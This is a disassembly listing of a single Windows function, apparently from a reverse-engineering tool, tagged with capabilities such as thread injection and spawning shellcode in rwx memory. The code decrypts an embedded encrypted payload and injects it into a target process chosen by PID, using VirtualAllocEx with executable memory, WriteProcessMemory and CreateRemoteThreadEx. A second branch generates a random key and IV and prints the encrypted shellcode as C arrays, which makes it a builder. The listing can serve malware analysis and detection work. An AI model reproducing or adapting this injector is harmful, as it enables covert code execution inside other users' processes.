Function at 0x140001ba0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov r13, rdx
cmp ecx, 2
jne 0x140001fcd
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x240], r15
lea rcx, [rsp + 0x50]
mov dword [rbp + 0x10], 0x30d952a9
mov dword [rbp + 0x14], 0x1b19516
mov dword [rbp + 0x18], 0x9127e9d8
mov dword [rbp + 0x1c], 0xe529ac96
mov dword [rbp + 0x20], 0x6d2dbeca
mov dword [rbp + 0x24], 0x41c59eb9
mov dword [rbp + 0x28], 0xaa73cfa8
mov dword [rbp + 0x2c], 0xe4bf814d
mov dword [rbp + 0x30], 0x46c3a294
mov dword [rbp + 0x34], 0x74741a32
mov dword [rbp + 0x38], 0x57244677
mov dword [rbp + 0x3c], 0x3e54bd49
mov dword [rbp + 0x40], 0xe4ca8173
mov dword [rbp + 0x44], 0x6a831988
mov dword [rbp + 0x48], 0xb6e4d1e5
mov dword [rbp + 0x4c], 0x461044c7
mov dword [rbp + 0x50], 0xbcc1c193
mov dword [rbp + 0x54], 0x28e17ce1
mov dword [rbp + 0x58], 0x134b60c
mov dword [rbp + 0x5c], 0x35ec73ea
mov dword [rbp + 0x60], 0x8ff54733
mov dword [rbp + 0x64], 0xba145cc4
mov dword [rbp + 0x68], 0x57c9ea8e
mov dword [rbp + 0x6c], 0x69dbb458
mov dword [rbp + 0x70], 0x6dcab21d
mov dword [rbp + 0x74], 0x7141b4eb
mov dword [rbp + 0x78], 0x300b6477
mov dword [rbp + 0x7c], 0x902064ff
mov dword [rbp + 0x80], 0x2939e3b8
mov dword [rbp + 0x84], 0x5efb2f4d
mov dword [rbp + 0x88], 0x173746c6
mov dword [rbp + 0x8c], 0x900058e1
mov dword [rbp + 0x90], 0x56a0bb07
mov dword [rbp + 0x94], 0x8cb7951
mov dword [rbp + 0x98], 0x4093a584
mov dword [rbp + 0x9c], 0x3de94b52
mov dword [rbp + 0xa0], 0x25ba1033
mov dword [rbp + 0xa4], 0xa33acec9
mov dword [rbp + 0xa8], 0x108cea9c
mov dword [rbp + 0xac], 0x14996a24
mov dword [rbp + 0xb0], 0xdbefa341
mov dword [rbp + 0xb4], 0x77a07fd6
mov dword [rbp + 0xb8], 0xe1ef5457
mov dword [rbp + 0xbc], 0xbac11e70
mov dword [rbp + 0xc0], 0x8659f321
mov dword [rbp + 0xc4], 0xd9977029
mov dword [rbp + 0xc8], 0xeac9ae42
mov dword [rbp + 0xcc], 0x67d6ac4a
mov dword [rbp + 0xd0], 0x1bc0ba5
mov dword [rbp + 0xd4], 0xc637310b
mov dword [rbp + 0xd8], 0x18e2ce7e
mov dword [rbp + 0xdc], 0xcee75fa2
call section..text
lea rax, [rbp + 0x30]
mov dword [rbp], 0xf37012cc
lea rdi, [rbp]
mov dword [rbp + 4], 0x52c1bc03
sub rdi, rax
mov dword [rbp + 8], 0xe1bb7f34
mov dword [rbp + 0xc], 0x97671b4e
lea rbx, [rbp + 0x30]
mov esi, 0xb
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rbx]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140001900
mov ecx, 0x10
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001e00
sub rdi, 0x10
movaps xmmword [rbp], xmm0
sub rsi, 1
jne 0x140001de0
movzx eax, byte [rbp + 0xdf]
mov ebx, 0xb0
sub rbx, rax
mov r15, rsi
mov r14, rsi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140001e63
mov r8, rbx
lea rdx, [rbp + 0x30]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r15, rdi
mov r14, rbx
mov rcx, qword [r13 + 8]
mov dword [rsp + 0x40], esi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x140001ed5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, ebx
lea rcx, str.____failed_to_open_process__ld__d
mov r8d, eax
call fcn.140001a90
mov eax, 1
mov r15, qword [rsp + 0x240]
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140002240
mov rbx, qword [rsp + 0x250]
add rsp, 0x210
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
mov edx, ebx
lea rcx, str.___Obtained_Handle_to_pid___d_n
call fcn.140001a90
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, r14
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdx, r14
lea rcx, str.___Allocated__d_bytes_in_vmem_n
mov rbx, rax
call fcn.140001a90
mov r9, r14
mov qword [rsp + 0x20], rsi
mov r8, r15
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, r14
lea rcx, str.___Wrote__d_bytes_in_vmem_n
call fcn.140001a90
lea rax, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor edx, edx
mov dword [rsp + 0x28], esi
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov rbx, rax
test rax, rax
jne 0x140001f8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_create_thread__error___d
call fcn.140001a90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001ea2
mov edx, dword [rsp + 0x40]
lea rcx, str.___Created_Remote_Thread_with_tid___ld_n
call fcn.140001a90
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.Cleaning_up_n
call fcn.140001a90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001ea7
xor ecx, ecx
mov word [rsp + 0x40], 0x2211
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xor esi, esi
lea rdi, [rbp + 0xe0]
mov ebx, esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx ecx, al
inc ebx
mov eax, 0x80808081
lea rdi, [rdi + 1]
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
mov byte [rdi - 1], cl
cmp ebx, 0x20
jb 0x140001ff0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
movzx ecx, byte [rbp + 0xe0]
xor ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, esi
lea rdi, [rbp + 0x10]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx ecx, al
inc ebx
mov eax, 0x80808081
lea rdi, [rdi + 1]
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
mov byte [rdi - 1], cl
cmp ebx, 0x10
jb 0x140002036
lea rdx, str.pKey
lea rcx, str.unsigned_char__s____
call fcn.140001a90
mov ebx, esi
lea rdi, [rbp + 0xe0]
lea r14, str.0x_0.2X
mov eax, ebx
and eax, 0x8000000f
jge 0x140002092
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x1400020a2
lea rcx, [0x140003508]
call fcn.140001a90
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp ebx, 0x1f
cmovae rcx, r14
call fcn.140001a90
inc ebx
inc rdi
cmp ebx, 0x20
jb 0x140002082
lea rcx, str.__n_n_n
call fcn.140001a90
lea rdx, [0x140003638]
lea rcx, str.unsigned_char__s____
call fcn.140001a90
mov ebx, esi
lea rdi, [rbp + 0x10]
mov eax, ebx
and eax, 0x8000000f
jge 0x1400020f7
dec eax
or eax, 0xfffffff0
inc eax
test eax, eax
jne 0x140002107
lea rcx, [0x140003508]
call fcn.140001a90
movzx edx, byte [rdi]
lea rcx, str.0x_0.2X_
cmp ebx, 0xf
cmovae rcx, r14
call fcn.140001a90
inc ebx
inc rdi
cmp ebx, 0x10
jb 0x1400020e7
lea rcx, str.__n_n_n
call fcn.140001a90
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x50]
call section..text
movups xmm0, xmmword [rbp + 0x10]
movaps xmmword [rbp], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rcx, str.Padded_Data
mov rbx, rax
test rax, rax
je 0x140002203
movdqa xmm0, xmmword [0x140003660]
mov r8d, 0x10
movups xmmword [rax], xmm0
movzx eax, word [rsp + 0x40]
mov rdx, rbx
mov word [rbx], ax
call fcn.140001af0
lea r8, [rbp]
mov rcx, rbx
sub r8, rbx
mov edx, 0x10
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rcx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400021b0
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.1400016a0
mov r8d, 0x10
lea rcx, str.CipherText
mov rdx, rbx
call fcn.140001af0
test rbx, rbx
je 0x14000221f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x140001eaf
xor r8d, r8d
xor edx, edx
call fcn.140001af0
mov r8, rsi
lea rcx, str.CipherText
mov rdx, rsi
call fcn.140001af0
xor eax, eax
jmp 0x140001eaf